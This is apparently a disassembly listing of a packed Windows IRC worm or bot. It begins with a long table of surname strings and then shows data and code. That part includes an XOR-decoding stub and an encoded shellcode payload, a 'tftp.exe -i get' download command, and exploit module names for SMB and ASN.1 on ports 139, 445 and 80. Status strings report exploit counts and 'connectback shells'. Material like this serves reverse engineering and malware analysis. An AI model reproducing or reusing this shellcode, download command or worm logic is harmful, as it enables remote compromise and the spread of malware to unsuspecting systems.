		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
dword_44800C	dd 7325h		; DATA XREF: sub_40AFAB+27o
dword_448010	dd 69257325h, 0		; DATA XREF: sub_40AFAB+4Eo
dword_448018	dd 7325h		; DATA XREF: .packed:0040B030o
dword_44801C	dd 69257325h, 0		; DATA XREF: .packed:0040B057o
dword_448024	dd 4350h		; DATA XREF: .packed:0040B0C8o
dword_448028	dd 4350h		; DATA XREF: .packed:0040B0F2o
dword_44802C	dd 4350h		; DATA XREF: .packed:0040B11Eo
dword_448030	dd 69257325h, 0		; DATA XREF: .packed:0040B149o
dword_448038	dd 7C7325h		; DATA XREF: .packed:0040B197o
dword_44803C	dd 69257325h, 0		; DATA XREF: .packed:0040B1BEo
dword_448044	dd 3539h		; DATA XREF: .packed:0040B22Co
dword_448048	dd 544Eh		; DATA XREF: .packed:0040B23Ao
dword_44804C	dd 3839h		; DATA XREF: .packed:0040B24Ao
dword_448050	dd 454Dh		; DATA XREF: .packed:0040B25Ao
dword_448054	dd 4B32h		; DATA XREF: .packed:0040B273o
dword_448058	dd 5058h		; DATA XREF: .packed:0040B283o
dword_44805C	dd 334B32h		; DATA XREF: .packed:0040B291o
dword_448060	dd 3F3F3Fh		; DATA XREF: .packed:loc_40B298o
dword_448064	dd 5D73255Bh, 7Ch	; DATA XREF: .packed:0040B2A1o
dword_44806C	dd 69257325h, 0		; DATA XREF: .packed:0040B2C8o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40B2E7+1Fo
		align 4
aM_0		db '[M]',0              ; DATA XREF: sub_40B2E7+2Co
aDS		db '[%d]%s',0           ; DATA XREF: sub_40B2E7+3Ao
		align 4
aMirc_1		db 'mIRC',0             ; DATA XREF: sub_40B2E7:loc_40B336o
		align 10h
aM_1		db '[M]',0              ; DATA XREF: sub_40B2E7+5Co
		align 8

loc_448098:				; DATA XREF: sub_40B590+BEo
		jmp	short loc_44809C
; ---------------------------------------------------------------------------

loc_44809A:				; CODE XREF: .packed:loc_44809Cp
		jmp	short loc_4480A1
; ---------------------------------------------------------------------------

loc_44809C:				; CODE XREF: .packed:loc_448098j
		call	loc_44809A

loc_4480A1:				; CODE XREF: .packed:loc_44809Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4480A6	dw 0FFFFh		; DATA XREF: sub_40B590+C6w
		db 80h,	73h, 0Eh
byte_4480AB	db 0FFh			; DATA XREF: sub_40B590+CDw
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_4480B0:				; DATA XREF: sub_40B590+9Co
		jmp	short loc_4480B4
; ---------------------------------------------------------------------------

loc_4480B2:				; CODE XREF: .packed:loc_4480B4p
		jmp	short loc_4480B9
; ---------------------------------------------------------------------------

loc_4480B4:				; CODE XREF: .packed:loc_4480B0j
		call	loc_4480B2

loc_4480B9:				; CODE XREF: .packed:loc_4480B2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4480BD	db 0FFh			; DATA XREF: sub_40B590+A4w
		dw 7380h
		db 0Ch
byte_4480C1	db 0FFh			; DATA XREF: sub_40B590+AAw
		dw 0E243h
		dd 0F9h
dword_4480C8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B419+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_44812C	dd 12h			; DATA XREF: sub_40B419+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B419+79o
aJ_0		db 'j',0
		db 0E8h
dword_448145	dd 17h			; DATA XREF: sub_40B419+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_44814C
		retn
; ---------------------------------------------------------------------------
byte_44814C	db 0E8h			; CODE XREF: .packed:00448149j
dword_44814D	dd 1			; DATA XREF: sub_40B419+45w
byte_448151	db 0, 6Ah, 0		; DATA XREF: sub_40B419+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_44815B	dd 0FFFFFFEDh		; DATA XREF: sub_40B419+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; CloseHandle
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_44818C	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B74E+10o
dword_4481A0	dd 202E6425h, 7325h	; DATA XREF: sub_40B74E+46o
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B919+35o
		align 10h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B919+51o
		align 4
aSym		db 'sym',0              ; DATA XREF: sub_40BE20+4Fo
					; sub_40C87D+155o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BD5A+30o
		align 4
		dd 5 dup(0)
dword_448210	dd 0B97h		; DATA XREF: sub_401C87+1D4Dr
					; sub_401C87+1D76o ...
off_448214	dd offset sub_40E9ED	; DATA XREF: sub_40C87D+1D7r
dword_448218	dd 0			; DATA XREF: sub_40BBCD+2Eo
					; .packed:0040DBB7r ...
dword_44821C	dd 1			; DATA XREF: sub_40C049+1Fr
dword_448220	dd 1			; DATA XREF: sub_40C049+3AAr
dword_448224	dd 0			; DATA XREF: sub_40C049+285r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EB1Fh, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40E882h, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40E882h, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40DA19h, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40DA19h, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40DA19h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
		dd 6D7973h, 0
		db 2 dup(0)
byte_4483F2	db 1			; DATA XREF: sub_401C87:loc_40394Dr
					; sub_401C87+1CD0o
		db 76h
		dd 636Eh, 0
		dd 656E0100h, 39333174h, 0
		dd 74656E01h, 353434h, 1000000h, 346E7361h, 3534h, 10000h
		dd 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_448442

; =============== S U B	R O U T	I N E =======================================



sub_448432	proc near		; CODE XREF: sub_448432:loc_448442p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_44843A:				; CODE XREF: sub_448432+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_44843A
		jmp	short loc_448447
; ---------------------------------------------------------------------------

loc_448442:				; CODE XREF: .packed:00448430j
		call	sub_448432

loc_448447:				; CODE XREF: sub_448432+Ej
		jo	short near ptr dword_4483AC+36h
		cwde
		cdq
		cdq
		retn
sub_448432	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
unk_4485B0	db  2Dh	; -		; DATA XREF: sub_40BBCD+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
dword_4485D0	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40BBCD+46o
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40BBCD+85o
		align 10h
unk_4485F0	db  2Dh	; -		; DATA XREF: sub_40BC9B+37o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_448638	db  2Dh	; -		; DATA XREF: sub_40BD06+21o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
dword_448664	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BD5A+14o
		dd 7473694Ch, 3Ah
dword_448680	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BD5A+40o
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BD5A+7Eo
unk_4486A0	db  2Dh	; -		; DATA XREF: sub_40BE20+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
